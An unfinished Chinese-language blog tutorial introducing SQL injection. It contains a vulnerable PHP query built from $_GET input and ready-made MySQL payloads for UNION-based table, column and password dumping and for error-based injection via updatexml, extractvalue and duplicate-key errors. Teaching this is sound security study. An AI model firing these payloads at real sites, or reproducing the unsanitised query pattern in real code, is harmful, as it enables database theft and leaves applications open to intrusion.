sql注入入门(草稿)

观前提醒

本篇文章需要前置知识

  • 知道什么是sql数据库

  • 了解基本sql语句

一、了解什么是sql注入

我这里不扯概念,就简单讲讲我的理解

sql注入是指后台在拼接sql查询语句时未做安全处理而导致的非法查询

直接看代码

$id = $_GET['id'];

$SQL = "select * from '某字段' where id = $id;";

如上,$id是用户输入的值,会直接拼接在sql语句上,hacker可以通过报错、联合查询等方法获取数据库中的数据。这就叫sql注入

sql注入

二、sql注入有关数据库的那些事

1. 联合查询

联合查询我个人认为是最有用的一种查询,一句话脱库不是梦

SELECT user FROM dwva.users
UNION 
SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables
WHERE table_schema=DATABASE()

2.

二、常见的sql注入方式

1. 数字型注入

#未完待续

三、一般注入思路

1.基于报错的联合查询注入

  1. 判断闭合方式
  2. 利用order by 判断列数
  3. union配合select收集信息
    1. 数据库表名
    2. 列名
  4. 脱库

笔记

#查当前数据库所有表名
select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()

#查当前表所有列
select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users' --+

#脱库(非通用)
select 1,group_concat(id,':',username,':',password,' '),3 from users --+

2.基于报错的报错注入

1.主键重复报错

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

2.updatexml()报错

and updatexml(1,concat(0x7e,(select database()),0x7e),1);

3.extractvalue()报错

and (extractvalue(1,concat(0x7e,substring((select database()),1,20))));

数据溢出报错(仅mysql5.5.53以下)

四、注入的高级技巧

1.堆叠注入

改表名

预处理语句

正则绕过技巧

  1. concat
  2. char
  3. hex

sql注入入门(草稿)
http://blog.233c.cn/posts/10007/
作者
木末君
发布于
2021年6月30日
许可协议